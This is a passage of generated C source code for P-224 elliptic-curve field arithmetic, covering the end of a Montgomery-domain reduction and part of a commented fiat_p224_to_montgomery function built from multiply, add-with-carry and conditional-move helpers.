x15; uint32_t x16; fiat_p224_uint1 x17; uint32_t x18; fiat_p224_uint1 x19; uint32_t x20; fiat_p224_uint1 x21; uint32_t x22; uint32_t x23; uint32_t x24; uint32_t x25; uint32_t x26; uint32_t x27; uint32_t x28; uint32_t x29; uint32_t x30; uint32_t x31; uint32_t x32; fiat_p224_uint1 x33; uint32_t x34; fiat_p224_uint1 x35; uint32_t x36; fiat_p224_uint1 x37; uint32_t x38; fiat_p224_uint1 x39; uint32_t x40; fiat_p224_uint1 x41; uint32_t x42; fiat_p224_uint1 x43; uint32_t x44; fiat_p224_uint1 x45; uint32_t x46; fiat_p224_uint1 x47; uint32_t x48; fiat_p224_uint1 x49; uint32_t x50; fiat_p224_uint1 x51; uint32_t x52; fiat_p224_uint1 x53; uint32_t x54; fiat_p224_uint1 x55; uint32_t x56; fiat_p224_uint1 x57; uint32_t x58; fiat_p224_uint1 x59; uint32_t x60; fiat_p224_uint1 x61; uint32_t x62; fiat_p224_uint1 x63; uint32_t x64; uint32_t x65; uint32_t x66; uint32_t x67; uint32_t x68; uint32_t x69; uint32_t x70; uint32_t x71; uint32_t x72; uint32_t x73; uint32_t x74; fiat_p224_uint1 x75; uint32_t x76; fiat_p224_uint1 x77; uint32_t x78; fiat_p224_uint1 x79; uint32_t x80; fiat_p224_uint1 x81; uint32_t x82; fiat_p224_uint1 x83; uint32_t x84; fiat_p224_uint1 x85; uint32_t x86; fiat_p224_uint1 x87; uint32_t x88; fiat_p224_uint1 x89; uint32_t x90; fiat_p224_uint1 x91; uint32_t x92; fiat_p224_uint1 x93; uint32_t x94; fiat_p224_uint1 x95; uint32_t x96; fiat_p224_uint1 x97; uint32_t x98; fiat_p224_uint1 x99; uint32_t x100; fiat_p224_uint1 x101; uint32_t x102; fiat_p224_uint1 x103; uint32_t x104; fiat_p224_uint1 x105; uint32_t x106; fiat_p224_uint1 x107; uint32_t x108; fiat_p224_uint1 x109; uint32_t x110; uint32_t x111; uint32_t x112; uint32_t x113; uint32_t x114; uint32_t x115; uint32_t x116; uint32_t x117; uint32_t x118; uint32_t x119; uint32_t x120; fiat_p224_uint1 x121; uint32_t x122; fiat_p224_uint1 x123; uint32_t x124; fiat_p224_uint1 x125; uint32_t x126; fiat_p224_uint1 x127; uint32_t x128; fiat_p224_uint1 x129; uint32_t x130; fiat_p224_uint1 x131; uint32_t x132; fiat_p224_uint1 x133; uint32_t x134; fiat_p224_uint1 x135; uint32_t x136; fiat_p224_uint1 x137; uint32_t x138; fiat_p224_uint1 x139; uint32_t x140; fiat_p224_uint1 x141; uint32_t x142; fiat_p224_uint1 x143; uint32_t x144; fiat_p224_uint1 x145; uint32_t x146; fiat_p224_uint1 x147; uint32_t x148; fiat_p224_uint1 x149; uint32_t x150; fiat_p224_uint1 x151; uint32_t x152; fiat_p224_uint1 x153; uint32_t x154; fiat_p224_uint1 x155; uint32_t x156; uint32_t x157; uint32_t x158; uint32_t x159; uint32_t x160; uint32_t x161; uint32_t x162; uint32_t x163; uint32_t x164; uint32_t x165; uint32_t x166; fiat_p224_uint1 x167; uint32_t x168; fiat_p224_uint1 x169; uint32_t x170; fiat_p224_uint1 x171; uint32_t x172; fiat_p224_uint1 x173; uint32_t x174; fiat_p224_uint1 x175; uint32_t x176; fiat_p224_uint1 x177; uint32_t x178; fiat_p224_uint1 x179; uint32_t x180; fiat_p224_uint1 x181; uint32_t x182; fiat_p224_uint1 x183; uint32_t x184; fiat_p224_uint1 x185; uint32_t x186; fiat_p224_uint1 x187; uint32_t x188; fiat_p224_uint1 x189; uint32_t x190; fiat_p224_uint1 x191; uint32_t x192; fiat_p224_uint1 x193; uint32_t x194; fiat_p224_uint1 x195; uint32_t x196; fiat_p224_uint1 x197; uint32_t x198; fiat_p224_uint1 x199; uint32_t x200; fiat_p224_uint1 x201; uint32_t x202; uint32_t x203; uint32_t x204; uint32_t x205; uint32_t x206; uint32_t x207; uint32_t x208; uint32_t x209; uint32_t x210; uint32_t x211; uint32_t x212; fiat_p224_uint1 x213; uint32_t x214; fiat_p224_uint1 x215; uint32_t x216; fiat_p224_uint1 x217; uint32_t x218; fiat_p224_uint1 x219; uint32_t x220; fiat_p224_uint1 x221; uint32_t x222; fiat_p224_uint1 x223; uint32_t x224; fiat_p224_uint1 x225; uint32_t x226; fiat_p224_uint1 x227; uint32_t x228; fiat_p224_uint1 x229; uint32_t x230; fiat_p224_uint1 x231; uint32_t x232; fiat_p224_uint1 x233; uint32_t x234; fiat_p224_uint1 x235; uint32_t x236; fiat_p224_uint1 x237; uint32_t x238; fiat_p224_uint1 x239; uint32_t x240; fiat_p224_uint1 x241; uint32_t x242; fiat_p224_uint1 x243; uint32_t x244; fiat_p224_uint1 x245; uint32_t x246; fiat_p224_uint1 x247; uint32_t x248; uint32_t x249; uint32_t x250; uint32_t x251; uint32_t x252; uint32_t x253; uint32_t x254; uint32_t x255; uint32_t x256; uint32_t x257; uint32_t x258; fiat_p224_uint1 x259; uint32_t x260; fiat_p224_uint1 x261; uint32_t x262; fiat_p224_uint1 x263; uint32_t x264; fiat_p224_uint1 x265; uint32_t x266; fiat_p224_uint1 x267; uint32_t x268; fiat_p224_uint1 x269; uint32_t x270; fiat_p224_uint1 x271; uint32_t x272; fiat_p224_uint1 x273; uint32_t x274; fiat_p224_uint1 x275; uint32_t x276; fiat_p224_uint1 x277; uint32_t x278; fiat_p224_uint1 x279; uint32_t x280; fiat_p224_uint1 x281; uint32_t x282; fiat_p224_uint1 x283; uint32_t x284; fiat_p224_uint1 x285; uint32_t x286; fiat_p224_uint1 x287; uint32_t x288; fiat_p224_uint1 x289; uint32_t x290; fiat_p224_uint1 x291; uint32_t x292; fiat_p224_uint1 x293; uint32_t x294; fiat_p224_uint1 x295; uint32_t x296; uint32_t x297; uint32_t x298; uint32_t x299; uint32_t x300; uint32_t x301; uint32_t x302; x1 = (arg1[0]); fiat_p224_mulx_u32(&x2, &x3, x1, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x4, &x5, x2, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x6, &x7, x2, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x8, &x9, x2, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x10, &x11, x2, UINT32_C(0xffffffff)); fiat_p224_addcarryx_u32(&x12, &x13, 0x0, x11, x8); fiat_p224_addcarryx_u32(&x14, &x15, x13, x9, x6); fiat_p224_addcarryx_u32(&x16, &x17, x15, x7, x4); fiat_p224_addcarryx_u32(&x18, &x19, 0x0, x1, x2); fiat_p224_addcarryx_u32(&x20, &x21, 0x0, x19, (arg1[1])); fiat_p224_mulx_u32(&x22, &x23, x20, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x24, &x25, x22, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x26, &x27, x22, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x28, &x29, x22, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x30, &x31, x22, UINT32_C(0xffffffff)); fiat_p224_addcarryx_u32(&x32, &x33, 0x0, x31, x28); fiat_p224_addcarryx_u32(&x34, &x35, x33, x29, x26); fiat_p224_addcarryx_u32(&x36, &x37, x35, x27, x24); fiat_p224_addcarryx_u32(&x38, &x39, 0x0, x12, x30); fiat_p224_addcarryx_u32(&x40, &x41, x39, x14, x32); fiat_p224_addcarryx_u32(&x42, &x43, x41, x16, x34); fiat_p224_addcarryx_u32(&x44, &x45, x43, (x17 + x5), x36); fiat_p224_addcarryx_u32(&x46, &x47, x45, 0x0, (x37 + x25)); fiat_p224_addcarryx_u32(&x48, &x49, 0x0, x20, x22); fiat_p224_addcarryx_u32(&x50, &x51, 0x0, ((uint32_t)x49 + x21), (arg1[2])); fiat_p224_addcarryx_u32(&x52, &x53, x51, x10, 0x0); fiat_p224_addcarryx_u32(&x54, &x55, x53, x38, 0x0); fiat_p224_addcarryx_u32(&x56, &x57, x55, x40, 0x0); fiat_p224_addcarryx_u32(&x58, &x59, x57, x42, 0x0); fiat_p224_addcarryx_u32(&x60, &x61, x59, x44, 0x0); fiat_p224_addcarryx_u32(&x62, &x63, x61, x46, 0x0); fiat_p224_mulx_u32(&x64, &x65, x50, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x66, &x67, x64, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x68, &x69, x64, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x70, &x71, x64, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x72, &x73, x64, UINT32_C(0xffffffff)); fiat_p224_addcarryx_u32(&x74, &x75, 0x0, x73, x70); fiat_p224_addcarryx_u32(&x76, &x77, x75, x71, x68); fiat_p224_addcarryx_u32(&x78, &x79, x77, x69, x66); fiat_p224_addcarryx_u32(&x80, &x81, 0x0, x50, x64); fiat_p224_addcarryx_u32(&x82, &x83, x81, x52, 0x0); fiat_p224_addcarryx_u32(&x84, &x85, x83, x54, 0x0); fiat_p224_addcarryx_u32(&x86, &x87, x85, x56, x72); fiat_p224_addcarryx_u32(&x88, &x89, x87, x58, x74); fiat_p224_addcarryx_u32(&x90, &x91, x89, x60, x76); fiat_p224_addcarryx_u32(&x92, &x93, x91, x62, x78); fiat_p224_addcarryx_u32(&x94, &x95, x93, ((uint32_t)x63 + x47), (x79 + x67)); fiat_p224_addcarryx_u32(&x96, &x97, 0x0, x82, (arg1[3])); fiat_p224_addcarryx_u32(&x98, &x99, x97, x84, 0x0); fiat_p224_addcarryx_u32(&x100, &x101, x99, x86, 0x0); fiat_p224_addcarryx_u32(&x102, &x103, x101, x88, 0x0); fiat_p224_addcarryx_u32(&x104, &x105, x103, x90, 0x0); fiat_p224_addcarryx_u32(&x106, &x107, x105, x92, 0x0); fiat_p224_addcarryx_u32(&x108, &x109, x107, x94, 0x0); fiat_p224_mulx_u32(&x110, &x111, x96, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x112, &x113, x110, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x114, &x115, x110, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x116, &x117, x110, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x118, &x119, x110, UINT32_C(0xffffffff)); fiat_p224_addcarryx_u32(&x120, &x121, 0x0, x119, x116); fiat_p224_addcarryx_u32(&x122, &x123, x121, x117, x114); fiat_p224_addcarryx_u32(&x124, &x125, x123, x115, x112); fiat_p224_addcarryx_u32(&x126, &x127, 0x0, x96, x110); fiat_p224_addcarryx_u32(&x128, &x129, x127, x98, 0x0); fiat_p224_addcarryx_u32(&x130, &x131, x129, x100, 0x0); fiat_p224_addcarryx_u32(&x132, &x133, x131, x102, x118); fiat_p224_addcarryx_u32(&x134, &x135, x133, x104, x120); fiat_p224_addcarryx_u32(&x136, &x137, x135, x106, x122); fiat_p224_addcarryx_u32(&x138, &x139, x137, x108, x124); fiat_p224_addcarryx_u32(&x140, &x141, x139, ((uint32_t)x109 + x95), (x125 + x113)); fiat_p224_addcarryx_u32(&x142, &x143, 0x0, x128, (arg1[4])); fiat_p224_addcarryx_u32(&x144, &x145, x143, x130, 0x0); fiat_p224_addcarryx_u32(&x146, &x147, x145, x132, 0x0); fiat_p224_addcarryx_u32(&x148, &x149, x147, x134, 0x0); fiat_p224_addcarryx_u32(&x150, &x151, x149, x136, 0x0); fiat_p224_addcarryx_u32(&x152, &x153, x151, x138, 0x0); fiat_p224_addcarryx_u32(&x154, &x155, x153, x140, 0x0); fiat_p224_mulx_u32(&x156, &x157, x142, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x158, &x159, x156, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x160, &x161, x156, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x162, &x163, x156, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x164, &x165, x156, UINT32_C(0xffffffff)); fiat_p224_addcarryx_u32(&x166, &x167, 0x0, x165, x162); fiat_p224_addcarryx_u32(&x168, &x169, x167, x163, x160); fiat_p224_addcarryx_u32(&x170, &x171, x169, x161, x158); fiat_p224_addcarryx_u32(&x172, &x173, 0x0, x142, x156); fiat_p224_addcarryx_u32(&x174, &x175, x173, x144, 0x0); fiat_p224_addcarryx_u32(&x176, &x177, x175, x146, 0x0); fiat_p224_addcarryx_u32(&x178, &x179, x177, x148, x164); fiat_p224_addcarryx_u32(&x180, &x181, x179, x150, x166); fiat_p224_addcarryx_u32(&x182, &x183, x181, x152, x168); fiat_p224_addcarryx_u32(&x184, &x185, x183, x154, x170); fiat_p224_addcarryx_u32(&x186, &x187, x185, ((uint32_t)x155 + x141), (x171 + x159)); fiat_p224_addcarryx_u32(&x188, &x189, 0x0, x174, (arg1[5])); fiat_p224_addcarryx_u32(&x190, &x191, x189, x176, 0x0); fiat_p224_addcarryx_u32(&x192, &x193, x191, x178, 0x0); fiat_p224_addcarryx_u32(&x194, &x195, x193, x180, 0x0); fiat_p224_addcarryx_u32(&x196, &x197, x195, x182, 0x0); fiat_p224_addcarryx_u32(&x198, &x199, x197, x184, 0x0); fiat_p224_addcarryx_u32(&x200, &x201, x199, x186, 0x0); fiat_p224_mulx_u32(&x202, &x203, x188, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x204, &x205, x202, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x206, &x207, x202, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x208, &x209, x202, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x210, &x211, x202, UINT32_C(0xffffffff)); fiat_p224_addcarryx_u32(&x212, &x213, 0x0, x211, x208); fiat_p224_addcarryx_u32(&x214, &x215, x213, x209, x206); fiat_p224_addcarryx_u32(&x216, &x217, x215, x207, x204); fiat_p224_addcarryx_u32(&x218, &x219, 0x0, x188, x202); fiat_p224_addcarryx_u32(&x220, &x221, x219, x190, 0x0); fiat_p224_addcarryx_u32(&x222, &x223, x221, x192, 0x0); fiat_p224_addcarryx_u32(&x224, &x225, x223, x194, x210); fiat_p224_addcarryx_u32(&x226, &x227, x225, x196, x212); fiat_p224_addcarryx_u32(&x228, &x229, x227, x198, x214); fiat_p224_addcarryx_u32(&x230, &x231, x229, x200, x216); fiat_p224_addcarryx_u32(&x232, &x233, x231, ((uint32_t)x201 + x187), (x217 + x205)); fiat_p224_addcarryx_u32(&x234, &x235, 0x0, x220, (arg1[6])); fiat_p224_addcarryx_u32(&x236, &x237, x235, x222, 0x0); fiat_p224_addcarryx_u32(&x238, &x239, x237, x224, 0x0); fiat_p224_addcarryx_u32(&x240, &x241, x239, x226, 0x0); fiat_p224_addcarryx_u32(&x242, &x243, x241, x228, 0x0); fiat_p224_addcarryx_u32(&x244, &x245, x243, x230, 0x0); fiat_p224_addcarryx_u32(&x246, &x247, x245, x232, 0x0); fiat_p224_mulx_u32(&x248, &x249, x234, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x250, &x251, x248, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x252, &x253, x248, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x254, &x255, x248, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x256, &x257, x248, UINT32_C(0xffffffff)); fiat_p224_addcarryx_u32(&x258, &x259, 0x0, x257, x254); fiat_p224_addcarryx_u32(&x260, &x261, x259, x255, x252); fiat_p224_addcarryx_u32(&x262, &x263, x261, x253, x250); fiat_p224_addcarryx_u32(&x264, &x265, 0x0, x234, x248); fiat_p224_addcarryx_u32(&x266, &x267, x265, x236, 0x0); fiat_p224_addcarryx_u32(&x268, &x269, x267, x238, 0x0); fiat_p224_addcarryx_u32(&x270, &x271, x269, x240, x256); fiat_p224_addcarryx_u32(&x272, &x273, x271, x242, x258); fiat_p224_addcarryx_u32(&x274, &x275, x273, x244, x260); fiat_p224_addcarryx_u32(&x276, &x277, x275, x246, x262); fiat_p224_addcarryx_u32(&x278, &x279, x277, ((uint32_t)x247 + x233), (x263 + x251)); fiat_p224_subborrowx_u32(&x280, &x281, 0x0, x266, 0x1); fiat_p224_subborrowx_u32(&x282, &x283, x281, x268, 0x0); fiat_p224_subborrowx_u32(&x284, &x285, x283, x270, 0x0); fiat_p224_subborrowx_u32(&x286, &x287, x285, x272, UINT32_C(0xffffffff)); fiat_p224_subborrowx_u32(&x288, &x289, x287, x274, UINT32_C(0xffffffff)); fiat_p224_subborrowx_u32(&x290, &x291, x289, x276, UINT32_C(0xffffffff)); fiat_p224_subborrowx_u32(&x292, &x293, x291, x278, UINT32_C(0xffffffff)); fiat_p224_subborrowx_u32(&x294, &x295, x293, x279, 0x0); fiat_p224_cmovznz_u32(&x296, x295, x280, x266); fiat_p224_cmovznz_u32(&x297, x295, x282, x268); fiat_p224_cmovznz_u32(&x298, x295, x284, x270); fiat_p224_cmovznz_u32(&x299, x295, x286, x272); fiat_p224_cmovznz_u32(&x300, x295, x288, x274); fiat_p224_cmovznz_u32(&x301, x295, x290, x276); fiat_p224_cmovznz_u32(&x302, x295, x292, x278); out1[0] = x296; out1[1] = x297; out1[2] = x298; out1[3] = x299; out1[4] = x300; out1[5] = x301; out1[6] = x302; } /* * The function fiat_p224_to_montgomery translates a field element into the Montgomery domain. * Preconditions: * 0 ≤ eval arg1 < m * Postconditions: * eval (from_montgomery out1) mod m = eval arg1 mod m * 0 ≤ eval out1 < m * * Input Bounds: * arg1: [[0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff]] * Output Bounds: * out1: [[0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff]] */ static void fiat_p224_to_montgomery(uint32_t out1[7], const uint32_t arg1[7]) { uint32_t x1; uint32_t x2; uint32_t x3; uint32_t x4; uint32_t x5; uint32_t x6; uint32_t x7; uint32_t x8; uint32_t x9; uint32_t x10; uint32_t x11; uint32_t x12; uint32_t x13; uint32_t x14; fiat_p224_uint1 x15; uint32_t x16; fiat_p224_uint1 x17; uint32_t x18; uint32_t x19; uint32_t x20; uint32_t x21; uint32_t x22; uint32_t x23; uint32_t x24; uint32_t x25; uint32_t x26; uint32_t x27; uint32_t x28; fiat_p224_uint1 x29; uint32_t x30; fiat_p224_uint1 x31; uint32_t x32; fiat_p224_uint1 x33; uint32_t x34; fiat_p224_uint1 x35; uint32_t x36; fiat_p224_uint1 x37; uint32_t x38; fiat_p224_uint1 x39; uint32_t x40; fiat_p224_uint1 x41; uint32_t x42; fiat_p224_uint1 x43; uint32_t x44; uint32_t x45; uint32_t x46; uint32_t x47; uint32_t x48; uint32_t x49; uint32_t x50; fiat_p224_uint1 x51; uint32_t x52; fiat_p224_uint1 x53; uint32_t x54; fiat_p224_uint1 x55; uint32_t x56; fiat_p224_uint1 x57; uint32_t x58; fiat_p224_uint1 x59; uint32_t x60; fiat_p224_uint1 x61; uint32_t x62; fiat_p224_uint1 x63; uint32_t x64; fiat_p224_uint1 x65; uint32_t x66; uint32_t x67; uint32_t x68; uint32_t x69; uint32_t x70; uint32_t x71; uint32_t x72; uint32_t x73; uint32_t x74; uint32_t x75; uint32_t x76; fiat_p224_uint1 x77; uint32_t x78; fiat_p224_uint1 x79; uint32_t x80; fiat_p224_uint1 x81; uint32_t x82; fiat_p224_uint1 x83; uint32_t x84; fiat_p224_uint1 x85; uint32_t x86; fiat_p224_uint1 x87; uint32_t x88; fiat_p224_uint1 x89; uint32_t x90; fiat_p224_uint1 x91; uint32_t x92; uint32_t x93; uint32_t x94; uint32_t x95; uint32_t x96; uint32_t x97; uint32_t x98; fiat_p224_uint1 x99; uint32_t x100; fiat_p224_uint1 x101; uint32_t x102; fiat_p224_uint1 x103; uint32_t x104; fiat_p224_uint1 x105; uint32_t x106; fiat_p224_uint1 x107; uint32_t x108; fiat_p224_uint1 x109; uint32_t x110; fiat_p224_uint1 x111; uint32_t x112; fiat_p224_uint1 x113; uint32_t x114; fiat_p224_uint1 x115; uint32_t x116; fiat_p224_uint1 x117; uint32_t x118; uint32_t x119; uint32_t x120; uint32_t x121; uint32_t x122; uint32_t x123; uint32_t x124; uint32_t x125; uint32_t x126; uint32_t x127; uint32_t x128; fiat_p224_uint1 x129; uint32_t x130; fiat_p224_uint1 x131; uint32_t x132; fiat_p224_uint1 x133; uint32_t x134; fiat_p224_uint1 x135; uint32_t x136; fiat_p224_uint1 x137; uint32_t x138; fiat_p224_uint1 x139; uint32_t x140; fiat_p224_uint1 x141; uint32_t x142; fiat_p224_uint1 x143; uint32_t x144; fiat_p224_uint1 x145; uint32_t x146; fiat_p224_uint1 x147; uint32_t x148; fiat_p224_uint1 x149; uint32_t x150; uint32_t x151; uint32_t x152; uint32_t x153; uint32_t x154; uint32_t x155; uint32_t x156; fiat_p224_uint1 x157; uint32_t x158; fiat_p224_uint1 x159; uint32_t x160; fiat_p224_uint1 x161; uint32_t x162; fiat_p224_uint1 x163; uint32_t x164; fiat_p224_uint1 x165; uint32_t x166; fiat_p224_uint1 x167; uint32_t x168; fiat_p224_uint1 x169; uint32_t x170; fiat_p224_uint1 x171; uint32_t x172; fiat_p224_uint1 x173; uint32_t x174; uint32_t x175; uint32_t x176; uint32_t x177; uint32_t x178; uint32_t x179; uint32_t x180; uint32_t x181; uint32_t x182; uint32_t x183; uint32_t x184; fiat_p224_uint1 x185; uint32_t x186; fiat_p224_uint1 x187; uint32_t x188; fiat_p224_uint1 x189; uint32_t x190; fiat_p224_uint1 x191; uint32_t x192; fiat_p224_uint1 x193; uint32_t x194; fiat_p224_uint1 x195; uint32_t x196; fiat_p224_uint1 x197; uint32_t x198; fiat_p224_uint1 x199; uint32_t x200; fiat_p224_uint1 x201; uint32_t x202; fiat_p224_uint1 x203; uint32_t x204; fiat_p224_uint1 x205; uint32_t x206; uint32_t x207; uint32_t x208; uint32_t x209; uint32_t x210; uint32_t x211; uint32_t x212; fiat_p224_uint1 x213; uint32_t x214; fiat_p224_uint1 x215; uint32_t x216; fiat_p224_uint1 x217; uint32_t x218; fiat_p224_uint1 x219; uint32_t x220; fiat_p224_uint1 x221; uint32_t x222; fiat_p224_uint1 x223; uint32_t x224; fiat_p224_uint1 x225; uint32_t x226; fiat_p224_uint1 x227; uint32_t x228; fiat_p224_uint1 x229; uint32_t x230; uint32_t x231; uint32_t x232; uint32_t x233; uint32_t x234; uint32_t x235; uint32_t x236; uint32_t x237; uint32_t x238; uint32_t x239; uint32_t x240; fiat_p224_uint1 x241; uint32_t x242; fiat_p224_uint1 x243; uint32_t x244; fiat_p224_uint1 x245; uint32_t x246; fiat_p224_uint1 x247; uint32_t x248; fiat_p224_uint1 x249; uint32_t x250; fiat_p224_uint1 x251; uint32_t x252; fiat_p224_uint1 x253; uint32_t x254; fiat_p224_uint1 x255; uint32_t x256; fiat_p224_uint1 x257; uint32_t x258; fiat_p224_uint1 x259; uint32_t x260; fiat_p224_uint1 x261; uint32_t x262; uint32_t x263; uint32_t x264; uint32_t x265; uint32_t x266; uint32_t x267; uint32_t x268; fiat_p224_uint1 x269; uint32_t x270; fiat_p224_uint1 x271; uint32_t x272; fiat_p224_uint1 x273; uint32_t x274; fiat_p224_uint1 x275; uint32_t x276; fiat_p224_uint1 x277; uint32_t x278; fiat_p224_uint1 x279; uint32_t x280; fiat_p224_uint1 x281; uint32_t x282; fiat_p224_uint1 x283; uint32_t x284; fiat_p224_uint1 x285; uint32_t x286; uint32_t x287; uint32_t x288; uint32_t x289; uint32_t x290; uint32_t x291; uint32_t x292; uint32_t x293; uint32_t x294; uint32_t x295; uint32_t x296; fiat_p224_uint1 x297; uint32_t x298; fiat_p224_uint1 x299; uint32_t x300; fiat_p224_uint1 x301; uint32_t x302; fiat_p224_uint1 x303; uint32_t x304; fiat_p224_uint1 x305; uint32_t x306; fiat_p224_uint1 x307; uint32_t x308; fiat_p224_uint1 x309; uint32_t x310; fiat_p224_uint1 x311; uint32_t x312; fiat_p224_uint1 x313; uint32_t x314; fiat_p224_uint1 x315; uint32_t x316; fiat_p224_uint1 x317; uint32_t x318; uint32_t x319; uint32_t x320; uint32_t x321; uint32_t x322; uint32_t x323; uint32_t x324; fiat_p224_uint1 x325; uint32_t x326; fiat_p224_uint1 x327; uint32_t x328; fiat_p224_uint1 x329; uint32_t x330; fiat_p224_uint1 x331; uint32_t x332; fiat_p224_uint1 x333; uint32_t x334; fiat_p224_uint1 x335; uint32_t x336; fiat_p224_uint1 x337; uint32_t x338; fiat_p224_uint1 x339; uint32_t x340; fiat_p224_uint1 x341; uint32_t x342; uint32_t x343; uint32_t x344; uint32_t x345; uint32_t x346; uint32_t x347; uint32_t x348; uint32_t x349; uint32_t x350; uint32_t x351; uint32_t x352; fiat_p224_uint1 x353; uint32_t x354; fiat_p224_uint1 x355; uint32_t x356; fiat_p224_uint1 x357; uint32_t x358; fiat_p224_uint1 x359; uint32_t x360; fiat_p224_uint1 x361; uint32_t x362; fiat_p224_uint1 x363; uint32_t x364; fiat_p224_uint1 x365; uint32_t x366; fiat_p224_uint1 x367; uint32_t x368; fiat_p224_uint1 x369; uint32_t x370; fiat_p224_uint1 x371; uint32_t x372; fiat_p224_uint1 x373; uint32_t x374; fiat_p224_uint1 x375; uint32_t x376; fiat_p224_uint1 x377; uint32_t x378; fiat_p224_uint1 x379; uint32_t x380; fiat_p224_uint1 x381; uint32_t x382; fiat_p224_uint1 x383; uint32_t x384; fiat_p224_uint1 x385; uint32_t x386; fiat_p224_uint1 x387; uint32_t x388; fiat_p224_uint1 x389; uint32_t x390; uint32_t x391; uint32_t x392; uint32_t x393; uint32_t x394; uint32_t x395; uint32_t x396; x1 = (arg1[1]); x2 = (arg1[2]); x3 = (arg1[3]); x4 = (arg1[4]); x5 = (arg1[5]); x6 = (arg1[6]); x7 = (arg1[0]); fiat_p224_mulx_u32(&x8, &x9, x7, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x10, &x11, x7, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x12, &x13, x7, UINT32_C(0xfffffffe)); fiat_p224_addcarryx_u32(&x14, &x15, 0x0, x13, x10); fiat_p224_addcarryx_u32(&x16, &x17, x15, x11, x8); fiat_p224_mulx_u32(&x18, &x19, x7, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x20, &x21, x18, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x22, &x23, x18, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x24, &x25, x18, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x26, &x27, x18, UINT32_C(0xffffffff)); fiat_p224_addcarryx_u32(&x28, &x29, 0x0, x27, x24); fiat_p224_addcarryx_u32(&x30, &x31, x29, x25, x22); fiat_p224_addcarryx_u32(&x32, &x33, x31, x23, x20); fiat_p224_addcarryx_u32(&x34, &x35, 0x0, x12, x26); fiat_p224_addcarryx_u32(&x36, &x37, x35, x14, x28); fiat_p224_addcarryx_u32(&x38, &x39, x37, x16, x30); fiat_p224_addcarryx_u32(&x40, &x41, x39, (x17 + x9), x32); fiat_p224_addcarryx_u32(&x42, &x43, x41, 0x0, (x33 + x21)); fiat_p224_mulx_u32(&x44, &x45, x1, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x46, &x47, x1, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x48, &x49, x1, UINT32_C(0xfffffffe)); fiat_p224_addcarryx_u32(&x50, &x51, 0x0, x49, x46); fiat_p224_addcarryx_u32(&x52, &x53, x51, x47, x44); fiat_p224_addcarryx_u32(&x54, &x55, 0x0, x7, x18); fiat_p224_addcarryx_u32(&x56, &x57, 0x0, x55, x1); fiat_p224_addcarryx_u32(&x58, &x59, 0x0, x36, x48); fiat_p224_addcarryx_u32(&x60, &x61, x59, x38, x50); fiat_p224_addcarryx_u32(&x62, &x63, x61, x40, x52); fiat_p224_addcarryx_u32(&x64, &x65, x63, x42, (x53 + x45)); fiat_p224_mulx_u32(&x66, &x67, x56, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x68, &x69, x66, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x70, &x71, x66, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x72, &x73, x66, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x74, &x75, x66, UINT32_C(0xffffffff)); fiat_p224_addcarryx_u32(&x76, &x77, 0x0, x75, x72); fiat_p224_addcarryx_u32(&x78, &x79, x77, x73, x70); fiat_p224_addcarryx_u32(&x80, &x81, x79, x71, x68); fiat_p224_addcarryx_u32(&x82, &x83, 0x0, x58, x74); fiat_p224_addcarryx_u32(&x84, &x85, x83, x60, x76); fiat_p224_addcarryx_u32(&x86, &x87, x85, x62, x78); fiat_p224_addcarryx_u32(&x88, &x89, x87, x64, x80); fiat_p224_addcarryx_u32(&x90, &x91, x89, ((uint32_t)x65 + x43), (x81 + x69)); fiat_p224_mulx_u32(&x92, &x93, x2, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x94, &x95, x2, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x96, &x97, x2, UINT32_C(0xfffffffe)); fiat_p224_addcarryx_u32(&x98, &x99, 0x0, x97, x94); fiat_p224_addcarryx_u32(&x100, &x101, x99, x95, x92); fiat_p224_addcarryx_u32(&x102, &x103, 0x0, x56, x66); fiat_p224_addcarryx_u32(&x104, &x105, 0x0, ((uint32_t)x103 + x57), x2); fiat_p224_addcarryx_u32(&x106, &x107, x105, x34, 0x0); 